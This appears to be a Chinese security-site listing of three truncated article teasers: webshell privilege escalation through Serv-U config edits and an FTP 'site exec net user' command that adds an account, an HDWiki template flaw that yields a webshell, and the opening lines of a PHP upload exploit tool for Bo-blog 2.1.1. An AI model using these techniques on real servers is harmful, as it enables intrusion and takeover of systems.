-
webshell提权总结
1.webshell提权之Serv-U添加数据法找到Sserv-u的目录里的ServUDaemon.ini文件进行修改,添加一个有执行权限的用户。然后登陆ftp添加系统账号:quote site exec net user用户名密码 /ad...
-
HDWiki百科程序后台拿webshell漏洞
涉及系统:HDWiki所有版本漏洞描述:HDWiki采用了模板机制,模板编译后会保存到data/view目录下,为php文件,之后展现模板时又include之,导致可以拿webshell漏洞分析:漏洞代码在lib/template.clas...
-
Bo-blog 2.1.1 上传利用工具
利用代码如下:<?php/* thx Mr_xhming */$host=”localhost”;$path=’bo-blog’;$user=’admin’; /...